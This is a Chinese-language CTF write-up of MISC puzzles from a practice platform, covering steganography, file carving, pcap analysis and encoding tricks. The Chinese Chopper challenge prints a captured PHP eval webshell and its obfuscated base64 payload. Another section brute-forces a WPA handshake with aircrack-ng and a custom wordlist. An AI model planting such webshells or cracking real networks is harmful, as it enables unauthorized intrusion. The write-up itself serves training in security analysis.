Writeup - CTF - MISC - 练习平台(123.206.31.85)





用txt打开图片,在最下面发现一串HTML转义序列

key{you are right}

把转义序列放到网页中就可以看到flag

key{you are right}



	隐写2 40	
2.rar		
Кеу		SUBMIT

2.rar下载下来之后,里面有一个图片文件2.png,想到PNG隐写,用Hex Workshop打开

4 🕨 🔊 2.p	ong	×															
00000000	00	01	02	03	04	05	06	07	80	09	0a	0b	0c	0d	0e	Of	f
00000000	89	50	4e	47	0d	0a	1a	0a	00	00	00	0d	49	48	44	52	52 115 NGIHDR
00000010	00	00	01	f4	00	00	01	a4	80	06	00	00	00	cb	d 6	df	ff?

00 00 01 F4 表示图片的宽度

00 00 01 A1 表示图片的高度

加大图片的高度,获取到flag



telnet

telnet

50

http://120.24.86.145:8002/misc/telnet/1.zip

Key

SUBMIT

1.zip下载下来解压出来networking.pcap

用wireshark打开,根据题目提示查看telnet协议

一个个找下去,在第41个数据包找到flag

40 10:010001	172.100.221.120	172.100.221.104	i ci	24 TT40 VS3 [MCK]
41 18.423632	192.168.221.128	192.168.221.164	TELNET	92 Telnet Data .
42 18.439232	192.168.221.164	192.168.221.128	ТСР	60 23→1146 [ACK]

Frame 41: 92 bytes on wire (736 bits), 92 bytes captured (736 bits)
 Ethernet II, Src: Vmware_84:86:5f (00:0c:29:84:86:5f), Dst: Vmware_26:7e:0e (00:0c:29:26:7e:0e)

> Internet Protocol Version 4, Src: 192.168.221.128, Dst: 192.168.221.164

> Transmission Control Protocol, Src Port: 1146, Dst Port: 23, Seq: 83, Ack: 124, Len: 38

▲ Telnet

Data: flag{d316759c281bf925d600be698a4973d5}

有一张图片,还单纯吗??

题目 742 Solves ×

 又一张图片,还单纯吗??

 60

 http://120.24.86.145:8002/misc/2.jpg

 好像和上一个有点不一样

Key

SUBMIT



用binwalk检测发现还有一张图片

root@kali:~/	图片# binwalk 2.j	pg C					
DECIMAL	HEXADECIMAL	DESCRIP	TION Docs	🛰 Kali Tools			
0	0x0	JPEG im	age data,	EXIF sta	ndard		
12	0xC HRCKER	TIFF im	age data,	big-endi	an, ot	ffset of	first imag
directory:	8						
13017	0x32D9	Unix pa	th: /www.	w3.org/19	99/02,	/22-rdf-	syntax-ns#"
<rdf:descri< td=""><td>ption rdf:about="</td><td>" xmlns:</td><td>photoshop</td><td>="http://</td><td>ns.add</td><td>obe.com/</td><td>/photoshop/1</td></rdf:descri<>	ption rdf:about="	" xmlns:	photoshop	="http://	ns.add	obe.com/	/photoshop/1
0/" xmlns							
158792	0x26C48	JPEG im	age data,	JFIF sta	ndard	1.02	
158822	0x26C66	TIFF im	age data,	big-endi	an, ot	ffset of	first imag
directory:	8						
159124	0x26D94	JPEG im	age data,	JFIF sta	ndard	1.02	
162196	0x27994	JPEG im	age data,	JFIF sta	ndard	1.02	
164186	0x2815A	Unix pa	th: /www.	w3.org/19	99/02,	/22-rdf-	syntax-ns#"
<rdf:descri< td=""><td>ption rdf:about="</td><td>" xmlns:</td><td>dc="http:</td><td>//purl.or</td><td>g/dc/e</td><td>elements</td><td>s/1.1/" xmlr</td></rdf:descri<>	ption rdf:about="	" xmlns:	dc="http:	//purl.or	g/dc/e	elements	s/1.1/" xmlr
168370 ard Company"	0x291B2	Copyrig	ht string	: "Copyri	ght (o	c) 1998	Hewlett-Pac
and a second sec							

把图片提取出来,就是flag

falg{NSCTF_e6532a34928a3d1dadd0b049d5a3cc57}

多种办法解决



在做题过程中你会得到一个二维码图片

http://120.24.86.145:8002/misc/3.zip

Key

SUBMIT

3.zip解压出来一个KEY.exe,打开的时候报错,用记事本打开看一下

🧾 KEY.exe - 记事本	
文件(E) 编辑(E) 格式(Q) 查看(V) 帮助(H)	
 sMAAA7DAcdvqGQAAArZSURBVHhe7ZKBitxIFgTv/396Tx564G1UouicKg19hwPCDcn +3pnDp9yF7tneQvvmcZu/21f78zhU+5i9yxv4T3T200/7eud680T2H3LCft01/ae92 +PIndt5ywT3dp71mf0TXafku6f/2uD09i9y0n7NNd2nvWZ06Ntt+S71+/68MJc5000 +vDCXOTtDk1qXMnsZxY33LCPiVtbpKUX7/rww1zk7Q5JalzJ7GcWN9ywj41bW6SIF+ +vDCV0TWF7c/i72Patt2afeHe0TsPa6VP00mt+Fatt2d7U3WU7cymH3mLak5dfv	3AAAAAXNSRO] MJ9m7/7n452 MJ9m7/7n452 JTo+23pPvX7 SWpcyexnFjj /68MJc5000

看到jpg和base64,想到base64转图片

还原生成的Base64编码为图片:



扫二维码得到flag

KEY{dca57f966e4e4e31fd5b15417da63269}

猜?

猜? ₆₀

http://120.24.86.145:8002/misc/cai/QQ20170221-132626.png

flag格式key{某人名字全拼}



我还没有特殊的识别方式,百度识图走一波

刘亦菲清新雅致大片古韵弥漫似画中人-中国日报网



刘亦菲r清新r雅致r大片r古韵r弥漫r似r画r中r人r-rr中国r日报r网r www.chinadaily.com.cn

key{liuyifei}

宽带信息泄露

	宽带信息泄露	
	60	
flag格式: flag{宽带用户	名}	
conf.bin		
Key		SUBMIT

bin文件用RouterPassView读取 链接: http://pan.baidu.com/s/1c20HHpm 密码: ojed

<u>/Dofoultfotowou uol-8 8 8 /</u>	22
查找内容(U): username	査找下一个で)
 □ 全字匹配 (¥) □ ○ 向上 (¥) ○ 向上 (¥) ○ 向上 (¥) ○ 向下 (₽) 	取消
<pre><name val="pppoe_eth1_d"></name> <uptime val="671521"></uptime> <username val="053700357621"></username> <password val="210265"></password></pre>	

flag{053700357621}

图片又隐写

题目 3 Solves	5	×
	图片又隐写 60	
Welcome		
Кеу		SUBMIT



想拿到flag?心の中ないいくつかB数かの?

看到图片直接扔binwalk,得到一个zip文件

zip文件解压出来一个flag.rar和提示.jpg

告诉你们一个秘密,密码是3个数哦。

查理曼:

查理曼, 法兰克王国国王, 征服了西欧与中欧大部分 土地, 具有了至高无上的权威, 下令全国人民信仰基 督教, 查理重振了西罗马帝国。 雅典娜: 女神帕拉斯·雅典娜, 是希腊神话中的女战神也是智慧 女神, 雅典是以她命名的。 兰斯洛特, 英格兰传说中的人物, 是亚瑟王圆桌骑士团中的一 员。看上去就是一个清秀年轻的帅小伙儿, 由于传说 中他是一名出色的箭手, 因此梅花J手持箭支。兰斯洛 特与王后的恋爱导致了他与亚瑟王之间的战争。 **Hint:**

其实斗地主挺好玩的。

虽然提示了,但是我并不会去猜的,还是爆破简单粗暴

口令已成功恢复!	-	×
Advanced Archive	Password Recovery 统计信息:	
总计口令	871	
总计时间	8ms	
平均速度(口令/秒)	108,875	
这个文件的口令	871	- Ca
十六进制口令	38 37 31	- Ca
┏ 保存…	✔ 确定	

解压出来3.jpg



在文件末尾发现

f1@g{eTB1IEFyZSBhIGhAY2tlciE=}

将base64解码,flag补齐

flag{y0u Are a h@cker!}

linux?????

题目	774 Solves	×
	linux ??????	
	80	
ht	tp://120.24.86.145:8002/misc/1.tar.gz	
lin	ux基础问题哟	
Key		SUBMIT

压缩包下载下来,解压,里面有一个flag文件,记事本打开,搜索flag没有,搜索key GET!

linux? 不存在的...

key{feb81d3834e2423c9903f4755464060b}

中国菜刀,不再web里?

中国菜刀,不再web里?

80

国产神器

http://120.24.86.145:8002/misc/caidao.zip

Key

SUBMIT

解压出来caidao.pcapng,用wireshark打开

数据包都是菜刀的操作

Wireshark · HTML Form URL Encoded (urlencoded-form) · caidao

123=array_map("ass"."ert",array("ev"."Al(\"\\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\ \$xx('QGluaV9zZXQoImRpc3BsYX1fZXJyb3JzIiwiMCIp00BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU01PTjwnNS4zLjAnKXtAc2V0 X21hZ21jX3F1b3R1c19ydW50aW11KDApO307ZWNobygiWEBZIik7JEQ9J0M6XFx3d3dyb290XFwnOyRGPUBvcGVuZG1yKCREKTtpZigkRj09T 1VMTC17ZWNobygiRVJST1I6Ly8gUGF0aCB0b3QgRm91bmQgT3IgTm8gUGVybWlzc21vbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbG UoJE49QHJ1YWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGU0I1ktbS1kIEg6aTpzIixAZmlsZW10aW11KCRQKSk7QCRFPXN1YnN0cih iYXN1X2NvbnZ1cnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuI1x0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuI1xuIjtp ZihAaXNfZG1yKCRQKSkkTS49JE4uIi8iLiRS02Vsc2UgJEwuPSROLiRS0311Y2hvICRNLiRM00BjbG9zZWRpcigkRik7fTt1Y2hvKCJYQFkiK TtkaWUoKTs%3D'));\");

X@Y./ 2016-06-27 08:45:38 0 0777 ../ 2015-08-09 09:39:05 0 0777 510cms/ 2015-11-19 02:06:08 0 0777 AccessInj/ 2015-06-03 11:53:27 0 0777 anylab/ 2016-01-28 07:26:27 0 0777 aspnet client/ 2015-06-03 11:53:28 0 0777 cc/ 2015-06-03 11:53:28 0 0777 cmf/ 2016-03-29 03:13:32 0 0777 DedeCmsV5.6-GBK-Final/ 2015-06-03 11:53:28 0 0777 DVWA/ 2015-06-03 11:53:30 0 0777 efucms-master/ 2015-08-09 12:31:40 0 0777 eims cms 3.5/ 2015-06-08 13:59:28 0 0777 exec/ 2016-01-28 06:45:26 0 0777 fckeditor/ 2016-01-18 03:09:11 0 0777 FI/ 2015-06-15 06:36:57 0 0777 fileupload/ 2015-11-19 02:19:45 0 0777

Wireshark · Line-based text data (data-text-lines) · caidao

4 Line-based text data: text/html X@Y<?php eval(\$_POST[123]);?> X@Y

在最后一个HTTP数据包看到了传过来了一个文件

把头和尾的X@Y去掉,解码为压缩

📕 Wireshark · Line-based text data (data-text-lines) · caidao	
flag/ ^ 000755 000765 0000000000 12734163500 014133 5 ustar 002hangjianxiang staff 000000 000000 E flag/flag.txt 000644 000765 00000000045 12734157617 015620 0 ustar 002hangjianxiang staff 000000 000000 E ustar 002hangjianxiang staff 000000 000000 E key{8769fe393f2b998fa6a11afe2bfcd65e} + + + +	
<i>献 32, Line-based text data (data-text-lines), 209 字节. 三显示 203 字节.</i> 解码为 压缩 ▼ 显示为 ASCII ▼ 开始 3 ◆ 结束 206 ◆ 查找:	
打印 夏制 Save as*** Close Help	

这么多数据包

288 Solves	×
这么多数据句	l,
80	, ,
《多数据包找找吧,先找到getshell的流	
capn	
	SUBMIT
	288 Solves 这么多数据包 80 4多数据包找找吧,先找到getshell的流

打开数据包,前面都是一些扫描端口的操作,往下到5542已经getshell

追踪TCP数据流,发现s4cr4t.txt

C:\>**type s4cr4t.txt** type s4cr4t.txt Q0NURntkb195b3VfbG1rZV9zbm1mZmVyfQ==

base64解码

CCTF{do_you_like_sniffer}



想蹭网先解开密码

想蹭网先解开密码 100	
flag格式:flag{你破解的WiFi密码}	
tips:密码为手机号,为了不为难你,大佬特地让我悄悄地把肩 你 1391040** Goodluck!!	前七位告诉
感谢@NewBee	
wifi.cap	
Key	SUBMIT

用wireshark打开,WiFi认证过程重点在WPA的四次握手包,找到EAPOL握手协议,另存为

根据题目提示,写字典

```
#include<stdio.h>
int main()
{
    int i,j,k,l;
    FILE *fp=NULL;
    fp=fopen("words.txt","w");
    for(i=0;i<=9;i++)</pre>
    {
         for(j=0;j<=9;j++)</pre>
         {
             for(k=0;k<=9;k++)</pre>
             {
                  for(1=0;1<=9;1++)</pre>
                  {
                      fprintf(fp,"1391040%d%d%d%d\n",i,j,k,l);
                  }
             }
         }
    }
fclose(fp);
}
```

使用aircrack-ng爆破密码



选择正确的目标网络,进行爆破

Aircrack-ng 1.2 rc4																		
[00:00:09] 768	8/	9999	9 ke	eys	te	ste	d (8	360	. 77	k/:	5)							
Time left: 2 s	Time left: 2 seconds 76.89%																	
			KE	Y F	DUNI	D!	[13	391(940	768	5]							
No. to a Kon		~ •	~~		~~		70		~~	~ 1		~		20			~~	
Master Key	:	0B	60 E1	CD	8B 81	14 07	70 F8	58 28	DB	EA	76	0A 1E	9C ED	3C 81	A3	FF	69 FD	
Transient Key		0D F5 D3 1E	88 23 62 CE	B3 8E CD 5E	F4 0B DD 62	BC 7A 4D 38	A3 9F 87 3C	C9 25 80 05	D2 59 EE 35	06 E9 B9 34	12 7C E1 A6	28 86 16 EB	43 1E 91 16	FF 7A 4A 31	5E 78 6E D8	21 E4 3E CE	3E D4 09 96	
EAPOL HMAC	:	10	E7	DØ	96	DE	87	93	56	88	1D	08	C8	B9	AA	B3	BØ	

flag{13910407686}

Linux基础1

题目	264 Solves	×
	Linux基础1	
	LINGXAMIT	
	100	
给何	你点提示吧:key的格式是KEY{} 月地址:链接: http://pan.baidu.com/s/1skJ6t7R 密码: s7iv	

Key

SUBMIT

brave.zip解压出来brave文件,放到linux里面strings打开,过滤一下KEY就找到了

root@kali:~/下载#	strings	brave	grep	KEY	J
KEY{24f3627a86fc74	40a7f36e	e2c7a1c	124a}		
KEY{}	_				



100

链接: https://pan.baidu.com/s/1i5ehlnj 密码: gprt

Кеу	SUBMIT
-----	--------

下载下来一个6.1M的1.jpg,用binwalk检测发现有一个rar文件,提取出来发现里面有一个2.png,但是有密码

枟	测文件 量 00012484.rar 🗸 🗸	È	当前目录查找(支持包	回内查找)	Q	高级	
	◆ 名称		大小	压线	宿后大	小	类
	🕌(上层目录)						
	2.png *		17.26 KB	1	5.84 k	СВ	P

并不想爆破,于是找了一下有没有提示,最后在1.jpg的详细信息中找到了一串base64

① 1.jpg 属性	
常规 安全	详细信息 以前的版本
属性	值
说明	
标题	出题人已经跑路了
主题	出题人已经跑路了
分级	
标记	
备注	TVNEUzQ1NkFTRDEyM3p6

解密base64得到解压密码,得到2.png,尝试图片高度,获得flag



账号被盗了

账号被盗了	
100	
http://120.24.86.145:9001/	
flag格式flag{QB充值卡密}	
充值地址http://pay.qq.com/	
一血有qb拿	
Кеу	SUBMIT

好厉害的样子,不会,下一个

MISC 图穷匕见

题目	286 Solves			×
1/2	★ · NIRC	MISC 图穷匕 110	见	
pain	tpaint			
Key				SUBMIT
•				
	图穷	""	R	
S	¢		学习成就参	想

用txt打开,发现文件尾有东西,截取出来

🔚 paintpaintpaint. jpg🛛

1 28372c37290a28372c38290a28372c39290a28372c3130290a28372c31312

用notepad++的插件 HEX转ASCII 得到35019个坐标

😑 paint	tpaintpaint. jpg🔀
1	(7,7) 📭
2	(7,8) 📭
3	(7,9) 💵
4	(7,10) 📭
5	(7,11) 📭
6	(7,12)

根据图片的详细信息的提示

标题	图穷flag见
主题	会画图吗?
分级	* * * * *
标记	
备注	气氛搞起来!
本 酒 ——	
215405	
作者	出题人已跑路~

应该是要把这些坐标转换为图形

这里使用gnuplot 链接: http://pan.baidu.com/s/1bpFCUyN 密码: qt73

先把坐标转换为gnuplot识别的格式

1 7.705 2 7.805 3 7.905 4 7.1005 5 7.1105 6 7.1205

C:\Users\Administrator>gnuplot.exe
gnuplot> plot "xy.txt"

得到二维码



这种颜色识别不出来,暗化一下(我用的PS)



扫描得到flag

flag{40fc0a979f759c8892f4dc045e28b820}

convert



convert.txt打开是一串二进制,用python转十六进制(别人的代码)

```
# -*- coding: utf8 -*-
import binascii
file1=open('convert.txt')
s=file1.read()
file2=open('3.rar','wb')
s1=''
for i in range(0,len(s),8):
    #print (type(int(s[i:i+8],2)))
    if ((int(s[i:i+8],2))<= 15):
        print(hex(int(s[i:i+8],2)))
        s1=s1+'0'+hex(int(s[i:i+8],2)).replace('0x','')
        print (s1)
    else:
        s1+=hex(int(s[i:i+8],2)).replace('0x','')
print (s1)</pre>
```

```
file2.write(binascii.a2b_hex(s1))
```

解压出来key.jpg,用记事本打开,发现一串base64

Z m x h Z 3 s w M W E y N W V h M 2 Z k N j M 0 O W M 2 Z T Y z N W E x Z D A x O T Z 1 N z V m Y n 0 =

解密得到flag

flag{01a25ea3fd6349c6e635a1d0196e75fb}

听首音乐



听首音乐放松放松吧~

下载地址:链接: http://pan.baidu.com/s/1gfvezBI密码: y6gh

Key

SUBMIT

下载下来一个wav文件,用Audacity打开链接: http://pan.baidu.com/s/1skEoo9n 密码: xuih

× stego100 ▼ 立体声,44100Hz 32位 浮点	1.0 0.5·	
静音 	0.0-	C11021101010000000000000000000000000000
Ēē	-0.5·	
	1.0	
	1.0	and the second
	0.5-	d no defended while work. One work to serve below we defende we denote in the finite server with the server of the server denote while the server of the serve
	0.0-	
	-0.5	
	-1.0	

把莫尔斯电码取出来

解码得到flag

5BC925649CB0188F52E617D70929191C

好多数值

俄罗斯套娃

小明的电脑

一个普通的压缩包

妹子的陌陌



图片直接用binwalk检测,发现一个rar文件

root@kali:~/下载# binwalk momo.jpg			
DECIMAL	HEXADECIMAL	DESCRIPTION	
0 37340	0x0 0x91DC	JPEG image data, JFIF standard 1.01 RAR archive data, first volume type: MAIN_HEAD	

取出来发现rar是加密的,不知道密码多大,并不想爆破

发现图片上有文字,尝试了一下密码,还真是



解压出来momo.txt

嘟嘟嘟嘟

士兵:报告首长!已截获纳粹的加密电报! 首长:拿来看看

电报内容:

首长:我操你在逗我吗?你确定是他们纳粹发的吗? 士兵:难道我弄错了?哦。。。等等是这一条

内容: http://c.bugku.com/U2FsdGVkX18tl8Yi7FaGiv6jK1SBxKD30eYb52onYe0= AES Key: @#@#¥%......¥¥%%......&¥

士兵:二维码真的扫不出来吗??肯定可以扫出来

莫尔斯电码解密出一个网站

http://encode.chahuo.com/

根据解密出来的解密网站和AES Key,判断 U2FsdGVkX18tl8Yi7FaGiv6jK1SBxKD30eYb52onYe0= 是AES加密,尝试解密

http://c.bugku.com/U2FsdGVkX18tl8Yi7FaGiv6jK1SBxKD30eYb52onYe0=

U2FsdGVkX18tl8Yi7FaGiv6jK1SBxKD30eYb52onYe0= 解密出来 momoj2j.png

http://c.bugku.com/momoj2j.png

访问URL,是一张二维码,直接扫描,但是扫不出来



感觉有点不对,和普通的二维码对比了一下,发现颜色反了,用PS反相



KEY{nitmzhen6}

就五层你能解开吗

转载于:https://www.cnblogs.com/virgin-forest/p/7835317.html



创作打卡挑战赛 赢取流量/现金/CSDN周边激励大奖